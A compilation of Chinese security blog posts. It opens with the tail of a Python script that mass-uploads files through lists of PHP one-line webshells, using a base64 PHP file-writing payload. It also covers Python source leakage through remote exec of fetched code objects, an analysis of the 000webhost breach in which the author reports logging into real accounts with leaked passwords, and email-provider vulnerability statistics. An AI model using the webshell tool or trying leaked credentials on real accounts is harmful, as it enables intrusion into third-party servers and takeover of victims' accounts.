                data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
                data['z1']=target_path_base64
                data['z2']=base64.b64encode(local_content)
                response = post(posturl, data)
                if response:
                    print '[+] '+target_file_url+', upload succeed!'
                else:
                    print '[-] '+target_file_url+', upload failed!'
            else:
                print '[-] '+posturl+', unsupported webshell!'
        except Exception,e:
            print '[-] '+posturl+', connection failed!'
    shell_file.close()
  
if __name__ == '__main__':  
    main()

webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:

http://www.example1.com/1.php, 1
http://www.example2.com/1.php, 1
http://www.example3.com/1.php, 1

保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:

shell

1.txt

声明:仅作学习交流,任何人不可用于非法目的,否则一切后果由其本人承担! 

相关链接: 

http://www.mamicode.com/info-detail-472361.html

一条Python命令引发的漏洞思考

0x00 起因

近日,在测试某个项目时,无意中发现在客户机的机器上可以直接运行一条Python命令来执行服务器端的Python脚本,故而,深入测试一下便有了下文。

0x01 分析

很多时候,因为业务的需要我们常常需要使用Python –c exec方法在客户机上来执行远程服务器上的Python脚本或者命令。
那么,在这种情况下,因为在命令是运行在客户机上,这就必然导致了远程服务器上的Python脚本会以一定的形式运行在客户机的内存中,如果我们可以获取并还原出这些代码,这也在一定程度上造成了服务器源码的泄露。
为了验证这种泄露风险,下面是我依据一个真实案例而创建了一个简单的演示Demo:

  1. 首先在服务器上创建了一个Python脚本py来模拟服务上的业务代码
  2. 然后利用compile方法将py编译成exec模式的code object对象并利用marshal.dump方法进行序列化存入一个二进制文件pyCode,将其保存在服务器上供客户端远程调用
  3. 接着在服务器上创建了测试脚本py,用来调用和反序列化服务器端二进制文件pyCode为exec方法可执行的code object对象

PyOrign.py 文件:

#!/usr/bin/env python

import random
import base64

class Test:
 x=''
 y=''
 def __init__(self, a, b):
 self.x = a
 self.y = b
 print "Initiation..., I'm from module Test"
 def add(self):
 print 'a =',self.x
 print 'b =',self.y
 c = self.x+self.y
 print 'sum =', c
 
if __name__ == '__main__':
 print "\n[+] I'm the second .py script!"
 a = Test(1,2)
 a.add()

test.py文件:

#!/usr/bin/env python
import imp

if imp.get_magic() != '\x03\xf3\r\n':
    print "Please update to Python 2.7.10 (http://www.python.org/download/)"
    exit()

import urllib, marshal, zlib, time, re, sys
print "[+] Hello, I'm the first .py script!"
_S = "http"
_B = "10.66.110.151"
exec marshal.loads(urllib.urlopen('%s://%s/mystatic/pyCode' % (_S, _B)).read())

接下来我们开始演示效果,首先在客户端执行以下命令:

python -c "exec(__import__('urllib2').urlopen('http://10.66.110.151/test/').read())"

运行后的结果显示如下:

run

简单分析一下这个过程,我们不难发现上面的命令在被执行后实际上发生的过程是这样的:

1) 首先利用urllib2的urlopen方法来读取远程服务器上的命令代码

1111

2) 然后判断客户机上的python的版本是不是2.7.10,如果是,则执行下面的代码继续获取远程服务器上的可执行代码:

exec marshal.loads(urllib.urlopen('http://10.66.110.151/mystatic/pyCode').read())

3) 接着,又利用urllib的urlopen方法读取远程服务器上的可执行代码:

3

4) 最后exec方法在客户机上执行marshal.loads方法反序列化后的code object对象

细心的朋友可能已经发现,在步骤3我们并没有像步骤1那样获取到exec执行的源码而是一个code object对象。那么我们不禁要思考一下, 有没有办法将这个code object对象还原成真正的Python源码呢?如果可以,是不是也就意味着服务器上的源码存在这很大的泄露风险呢?我们知道exec语句用来执行储存在字符串或文件中的Python语句,这既可以Python语句也可以是经过compile编译后的exec模式的code object对象。那么此处,不禁要思考获取到的code object是不是就是服务器上的Python脚本经过compile编译后的exec模式的code object对象呢?如果是的,那么只要我们能够构造出这个原始脚本编译后的pyc文件,也就意味着我们可以通过pyc文件来进一步还原出脚本的原始py文件。

接下来我们就来看看如何利用已知的code object对象来构造一个编译后的pyc文件。

首先,我们来分析一下pyc文件的构成。一个完整的pyc文件是由以下几部分组成:

  1. 四字节的Magic int(魔数),表示pyc版本信息
  2. 四字节的int,是pyc产生时间,若与py文件时间不同会重新生成
  3. 序列化了的PyCodeObject对象。

那么,我们是否已经具备这几部分。首先是四字节的魔数Magic int, 返回到上面分析过程中的步骤1,我们看到了下面一段代码:

import imp
if imp.get_magic() != '\x03\xf3\r\n':
    print "Please update to Python 2.7.10 (http://www.python.org/download/)"
    exit()

此处代码就是通过Magic int来判断客户主机上的Python版本信息,那么不用说这里的Magic int也就是imp.get_magic()获取到的值。

接下来是四字节的pyc的时间戳,经过我的测试发现此处的时间戳可以是任意符合格式的四字节int。

最后是序列化了的PyCodeObject对象,那么这个我们也有吗?没错,我们在步骤3中读取到的code object对象就是这个PyCodeObject对象。

既然构造pyc所具有的三个组成部分我们都有了,我们就来尝试构造一下这个pyc文件吧。按照猜测,远程服务器应该是通过compile方法来编译原始的脚本文件,那么我们就利用同样的方法来构造它。
这里我们利用了库文件py_compile的compile方法,其具体代码实现如下:

"""Routine to "compile" a .py file to a .pyc (or .pyo) file.

This module has intimate knowledge of the format of .pyc files.
"""

import __builtin__
import imp
import marshal
import os
import sys
import traceback

MAGIC = imp.get_magic()

__all__ = ["compile", "main", "PyCompileError"]


class PyCompileError(Exception):
    """Exception raised when an error occurs while attempting to
    compile the file.

    To raise this exception, use

        raise PyCompileError(exc_type,exc_value,file[,msg])

    where

        exc_type:   exception type to be used in error message
                    type name can be accesses as class variable
                    'exc_type_name'

        exc_value:  exception value to be used in error message
                    can be accesses as class variable 'exc_value'

        file:       name of file being compiled to be used in error message
                    can be accesses as class variable 'file'

        msg:        string message to be written as error message
                    If no value is given, a default exception message will be given,
                    consistent with 'standard' py_compile output.
                    message (or default) can be accesses as class variable 'msg'

    """

    def __init__(self, exc_type, exc_value, file, msg=''):
        exc_type_name = exc_type.__name__
        if exc_type is SyntaxError:
            tbtext = ''.join(traceback.format_exception_only(exc_type, exc_value))
            errmsg = tbtext.replace('File "<string>"', 'File "%s"' % file)
        else:
            errmsg = "Sorry: %s: %s" % (exc_type_name,exc_value)

        Exception.__init__(self,msg or errmsg,exc_type_name,exc_value,file)

        self.exc_type_name = exc_type_name
        self.exc_value = exc_value
        self.file = file
        self.msg = msg or errmsg

    def __str__(self):
        return self.msg


def wr_long(f, x):
    """Internal; write a 32-bit int to a file in little-endian order."""
    f.write(chr( x        & 0xff))
    f.write(chr((x >> 8)  & 0xff))
    f.write(chr((x >> 16) & 0xff))
    f.write(chr((x >> 24) & 0xff))

def compile(file, cfile=None, dfile=None, doraise=False):
    """Byte-compile one Python source file to Python bytecode.

    Arguments:

    file:    source filename
    cfile:   target filename; defaults to source with 'c' or 'o' appended
             ('c' normally, 'o' in optimizing mode, giving .pyc or .pyo)
    dfile:   purported filename; defaults to source (this is the filename
             that will show up in error messages)
    doraise: flag indicating whether or not an exception should be
             raised when a compile error is found. If an exception
             occurs and this flag is set to False, a string
             indicating the nature of the exception will be printed,
             and the function will return to the caller. If an
             exception occurs and this flag is set to True, a
             PyCompileError exception will be raised.

    Note that it isn't necessary to byte-compile Python modules for
    execution efficiency -- Python itself byte-compiles a module when
    it is loaded, and if it can, writes out the bytecode to the
    corresponding .pyc (or .pyo) file.

    However, if a Python installation is shared between users, it is a
    good idea to byte-compile all modules upon installation, since
    other users may not be able to write in the source directories,
    and thus they won't be able to write the .pyc/.pyo file, and then
    they would be byte-compiling every module each time it is loaded.
    This can slow down program start-up considerably.

    See compileall.py for a script/module that uses this module to
    byte-compile all installed files (or all files in selected
    directories).

    """
    with open(file, 'U') as f:
        try:
            timestamp = long(os.fstat(f.fileno()).st_mtime)
        except AttributeError:
            timestamp = long(os.stat(file).st_mtime)
        codestring = f.read()
    try:
        codeobject = __builtin__.compile(codestring, dfile or file,'exec')
    except Exception,err:
        py_exc = PyCompileError(err.__class__, err, dfile or file)
        if doraise:
            raise py_exc
        else:
            sys.stderr.write(py_exc.msg + '\n')
            return
    if cfile is None:
        cfile = file + (__debug__ and 'c' or 'o')
    with open(cfile, 'wb') as fc:
        fc.write('\0\0\0\0')
        wr_long(fc, timestamp)
        marshal.dump(codeobject, fc)
        fc.flush()
        fc.seek(0, 0)
        fc.write(MAGIC)

def main(args=None):
    """Compile several source files.

    The files named in 'args' (or on the command line, if 'args' is
    not specified) are compiled and the resulting bytecode is cached
    in the normal manner.  This function does not search a directory
    structure to locate source files; it only compiles files named
    explicitly.  If '-' is the only parameter in args, the list of
    files is taken from standard input.

    """
    if args is None:
        args = sys.argv[1:]
    rv = 0
    if args == ['-']:
        while True:
            filename = sys.stdin.readline()
            if not filename:
                break
            filename = filename.rstrip('\n')
            try:
                compile(filename, doraise=True)
            except PyCompileError as error:
                rv = 1
                sys.stderr.write("%s\n" % error.msg)
            except IOError as error:
                rv = 1
                sys.stderr.write("%s\n" % error)
    else:
        for filename in args:
            try:
                compile(filename, doraise=True)
            except PyCompileError as error:
                # return value to indicate at least one failure
                rv = 1
                sys.stderr.write(error.msg)
    return rv

if __name__ == "__main__":
    sys.exit(main())

在上面的代码中,我们可以看出,compile方法首先利用imp.get_magic()生成Magic int:

MAGIC = imp.get_magic()

然后根据py文件的创建时间来生成时间戳:

timestamp = long(os.fstat(f.fileno()).st_mtime

最后利用__builtin__.compile方法生成exec模式的code object对象,并使用marshal.dump方法将codeobject写入到pyc文件中

codeobject = __builtin__.compile(codestring, dfile or file,'exec')

知道了原理,接下来我们可以利用下面的脚本来构造pyc文件:

"""Routine to "compile" a .py file to a .pyc (or .pyo) file.

This module has intimate knowledge of the format of .pyc files.
"""

import __builtin__
import imp
import marshal
import os
import sys
import traceback
import zlib
import urllib

MAGIC = imp.get_magic()  #根据Python版本信息生成的魔数

__all__ = ["compile", "main", "PyCompileError"]


class PyCompileError(Exception):
    """Exception raised when an error occurs while attempting to
    compile the file.

    To raise this exception, use

        raise PyCompileError(exc_type,exc_value,file[,msg])

    where

        exc_type:   exception type to be used in error message
                    type name can be accesses as class variable
                    'exc_type_name'

        exc_value:  exception value to be used in error message
                    can be accesses as class variable 'exc_value'

        file:       name of file being compiled to be used in error message
                    can be accesses as class variable 'file'

        msg:        string message to be written as error message
                    If no value is given, a default exception message will be given,
                    consistent with 'standard' py_compile output.
                    message (or default) can be accesses as class variable 'msg'

    """

    def __init__(self, exc_type, exc_value, file, msg=''):
        exc_type_name = exc_type.__name__
        if exc_type is SyntaxError:
            tbtext = ''.join(traceback.format_exception_only(exc_type, exc_value))
            errmsg = tbtext.replace('File "<string>"', 'File "%s"' % file)
        else:
            errmsg = "Sorry: %s: %s" % (exc_type_name,exc_value)

        Exception.__init__(self,msg or errmsg,exc_type_name,exc_value,file)

        self.exc_type_name = exc_type_name
        self.exc_value = exc_value
        self.file = file
        self.msg = msg or errmsg

    def __str__(self):
        return self.msg


def wr_long(f, x):
    """Internal; write a 32-bit int to a file in little-endian order."""
    f.write(chr( x        & 0xff))
    f.write(chr((x >> 8)  & 0xff))
    f.write(chr((x >> 16) & 0xff))
    f.write(chr((x >> 24) & 0xff))

def compile(file, cfile=None, dfile=None, doraise=False):
    """Byte-compile one Python source file to Python bytecode.

    Arguments:

    file:    source filename
    cfile:   target filename; defaults to source with 'c' or 'o' appended
             ('c' normally, 'o' in optimizing mode, giving .pyc or .pyo)
    dfile:   purported filename; defaults to source (this is the filename
             that will show up in error messages)
    doraise: flag indicating whether or not an exception should be
             raised when a compile error is found. If an exception
             occurs and this flag is set to False, a string
             indicating the nature of the exception will be printed,
             and the function will return to the caller. If an
             exception occurs and this flag is set to True, a
             PyCompileError exception will be raised.

    Note that it isn't necessary to byte-compile Python modules for
    execution efficiency -- Python itself byte-compiles a module when
    it is loaded, and if it can, writes out the bytecode to the
    corresponding .pyc (or .pyo) file.

    However, if a Python installation is shared between users, it is a
    good idea to byte-compile all modules upon installation, since
    other users may not be able to write in the source directories,
    and thus they won't be able to write the .pyc/.pyo file, and then
    they would be byte-compiling every module each time it is loaded.
    This can slow down program start-up considerably.

    See compileall.py for a script/module that uses this module to
    byte-compile all installed files (or all files in selected
    directories).

    """
    timestamp = long(1449234682)  #可以是随机生成的时间戳
    try:
        codeobject = marshal.loads(urllib.urlopen('http://10.66.110.151/mystatic/pyCode').read())    # 反序列化获取远程服务器上的code object对象
    except Exception,err:
        py_exc = PyCompileError(err.__class__, err, dfile or file)
        if doraise:
            raise py_exc
        else:
            sys.stderr.write(py_exc.msg + '\n')
            return
    if cfile is None:
        cfile = file + (__debug__ and 'c' or 'o')
    with open(cfile, 'wb') as fc:
        fc.write('\0\0\0\0')
        wr_long(fc, timestamp)
        marshal.dump(codeobject, fc)  # 将序列化后的code object对象写入到pyc文件
        fc.flush()
        fc.seek(0, 0)
        fc.write(MAGIC)

def main(args=None):
    """Compile several source files.

    The files named in 'args' (or on the command line, if 'args' is
    not specified) are compiled and the resulting bytecode is cached
    in the normal manner.  This function does not search a directory
    structure to locate source files; it only compiles files named
    explicitly.  If '-' is the only parameter in args, the list of
    files is taken from standard input.

    """
    if args is None:
        args = sys.argv[1:]
    rv = 0
    if args == ['-']:
        while True:
            filename = sys.stdin.readline()
            if not filename:
                break
            filename = filename.rstrip('\n')
            try:
                compile(filename, doraise=True)
            except PyCompileError as error:
                rv = 1
                sys.stderr.write("%s\n" % error.msg)
            except IOError as error:
                rv = 1
                sys.stderr.write("%s\n" % error)
    else:
        for filename in args:
            try:
                compile(filename, doraise=True)
            except PyCompileError as error:
                # return value to indicate at least one failure
                rv = 1
                sys.stderr.write(error.msg)
    return rv

if __name__ == "__main__":
    compile('pyOrigin.py')

保存脚本为pyOrigin_compile.py在Python 2.7.10下运行即可构造出pyOrigin.pyc文件:

pyc

然后利用uncompyle2,即可将pyOrigin.pyc还原成pyOrigin.py。至此,我们成功地还原了原始的Python脚本。

py

 code

0x03 小结

分析思路:

  1. 根据Python –c exec命令获取到被执行的编译后的code object对象
  2. 猜测其为compile方法编译后的可被exec执行的code object对象
  3. 分析py_compile的compile方法编译py文件为pyc文件的原理并根据获取到的code object对象构造pyc文件
  4. 利用uncompyle2还原pyc文件为py文件,最后获取被执行的Python源码

主要潜在危害在于可造成远程服务器Python源码泄露。

相关资料:

http://drops.wooyun.org/papers/11243

http://www.freebuf.com/vuls/89567.html

http://blog.csdn.net/efeics/article/details/9255193

https://github.com/wibiti/uncompyle2

数据分析之全球最大的免费Web托管网站000Webhost数据泄漏

0x01 前言

000webhost是国外著名空间商Hosting24旗下的免费虚拟主机产品,号称“比收费虚拟主机更好用”。而确实如其所说的,该空间非常优质和稳 定。而该空间提供商也见识到了中国人口之多,中国用户申请到有一定难度。他的口碑也确实不错。000webhost提供的免费服务:全能PHP空间 1.5G ,支持PHP(不支持ASP),支持绑定顶级域名,无任何广告,独立控制面板,免费创建Mysql数据库,FTP上传下载,在线压缩解压,支持 fopen()函数。

000webhost

该网站在10月27日确认了公司被黑客入侵,泄露的数据包括:用户名,邮箱,明文密码,登录IP等

澳大利亚安全研究员Troy Hunt从匿名来源处获得了000webhost泄露的数据,并已经确定了数据的真实性。

毫无疑问000webhost的泄露事件是真实的,用户应该知情。我更希望000webhost公司能自己通知其用户信息已经泄露。

有匿名者在入侵事件发生后的第四天,公布了相关的泄露数据,笔者根据一些互联网上已经公开的信息做了一些简单的数据分析,旨在分析和探讨一旦数据被入侵了之后,会给我们带来哪些影响和危害,以及如何从中提取有利的信息和情报来应对接下来可能存在的各种损失。

data

0x02 数据分析

从已经泄露的数据可以发现:

  • 泄露的用户数据大约有1500万条
  • 泄露数据包括:注册邮箱,用户名,明文密码,登录IP等

下面笔者将按照以下几个维度来简单的分析一下。

注册邮箱

以下列举了用户注册邮箱的Top 10(几乎占到了注册总数的77%)。

email

很容易发现Google,雅虎,还有微软依旧是最受欢迎的三大邮件服务提供商,此处很庆幸某国内邮件服务提供商并没有上榜。(注:这可能是因为这是国外网站的关系,whatever,此处不上榜没有关系,后面可能还有呢!)

以下是国内的注册邮箱的Top 5。可见,某易和QQ邮箱占据了国内注册用户的绝大部分。

email_inner

接下来我们来看一下国内高校邮箱注册的Top 5。我们发现,福州大学一枝独秀,在“安全意识”(用私有的校内邮箱注册各种外部站点)上遥遥领先国内其他大学,不知道在其他的学术研究上会不会也是如此呢,很期待!

university

用户名

说完邮箱,现在看看用户名Top 10,很多人可能会以为这个用户名字段没什么卵用。其实不然,很多黑客可以利用这个用户名生成最常见的国外和国内的用户名字典并配合其他信息(比如:生日等)组合成更加有效的社工密码库,在暴力破解时往往能达到事半功倍的效果。因此,决不能低估用户名泄露可能会造成的潜在危害。

name

在上图中,我们不难发现Alex,John,David,Daniel等是相对较为常见的国外用户名,很有意思的是juan这个看似是中国人的名字也上榜了。

明文密码

看到此处,相信很多小伙伴们肯定已经不耐烦了。既然如此,那么重头戏来了:明文密码。对!你没有听错,明文密码,明文密码,明文密码(重要的东西说三遍!)。你肯定会说,这么傻x,这么不负责任,明文保存密码,我天朝很多网站都已经不这么干了,他们怎么还这样呢?事实证明,很多时候,国外的月亮并不比国内的圆!!!

先来看一组匿名者放出来的明文密码信息:

password

随便测试了几个,发现很多泄露的明文密码都可以登录,比如下面这个:

126

下面是用户登录密码的Top 10:password1

可见, 大部分都是我们常见的弱密码,有趣的是下面这个看似无规律的密码也出现了如此多次。

YfDbUfNjH10305070

一般而言,黑客在拿到这些明文密码后,可以轻松地且有针对性的实行撞库,因此在这种情况下对于那些安全意识比较薄弱的使用同一密码登录多个站点的用户而言成功率往往比较高。

此外,黑客在拿到这些泄露的明文密码后,比如提取最常见的前1000个明文密码,配合国家信息,就可以生成一个针对不同国家的常见密码库了,这种撞库的几率将会大大提高。

在此,笔者只能如“祥林嫂”般的告诫我们的网站和普通用户们:

  • 千万不可明文保存任何账户相关的密码信息(这是最基本的安全防护啊,亲!)
  • 千万不要在不同网站上使用同一密码并尽量保证密码的复杂性(不要嫌麻烦,必要时能减少你的损失哦!)

登录IP

说完密码,接下来咱们来分析一下登录IP。

ip

关于IP,其实可挖掘的信息就非常多了,比如:

  1. 结合登录IP和用户名得到不同国家和地区的常见用户名,可生成有效的的暴力破解字典库
  2. 结合登录IP和密码得到不同国家和地区的常见账户密码,可生成强针对性的撞库密码库
  3. 结合登录IP和注册邮箱得到不同国家和地区的常用邮箱,可进行针对性的钓鱼

以上提及的是黑客可以挖据和利用的信息,相反地,作为我们企业的应急响应人员或者国家的公安机关在调查案件时可以同样获取一些有价值的线索,比如:

  1. 根据登录IP加强同一国家和地区的客户的账户异常监控和预警
  2. 根据登录IP查看自身网站是否有相同IP的客户群体,并通知其注意账户安全
  3. 根据登录IP通知同一国家和地区的客户防范潜在的网络诈骗,比如:联合区域的通信运营商向客户们发送防范网络诈骗的通知短信等等

0x03 小结

如今的互联网世界,随着黑客技术的提高,黑客工具的智能化和批量化,以及企业自身对安全事件的漠视态度,已经让黑客攻击的成本越来越低,各种数据泄漏的事件层出不穷。笔者在此只是写了一下自己的一点拙见,希望能从已经泄露的数据中去挖掘和提取出一些有用的信息,从而做好有效地应对和处置来尽量避免和减少可能的损失和危害。本人水平有限,分析不足之处,还望见谅!

相关链接:

http://www.freebuf.com/news/83363.html

中国互联网安全现状之邮箱篇

昨天的安全圈子已被国内某知名邮箱提供服务商的数据泄漏事件刷屏了,各种网(si)友(bi)评(da)论(zhan),”安全砖家”分析层出不穷,一时间谣言四起。

IMG_2

该公司也在事后发表了声明和律师函加以澄清和说明。

IMG_1

但是事情的真相又是如何呢?笔者不清楚,也不会妄加评论,只是从一些以往的公开的安全事件和漏洞中来做一个简要的梳理和分析。

以下是该公司从今天5月份至今的所有被公开或者揭露的安全事件和漏洞列表:

126

我简单地对其作了分析处理如下:

0x01 漏洞来源

source

0x02 漏洞趋势

trend

0x03 漏洞类型

type

声明:以上所有数据均来自于互联网的公开数据

相关链接:

http://www.wooyun.org/bugs/wooyun-2015-0147763

https://www.t00ls.net/articles-31777.html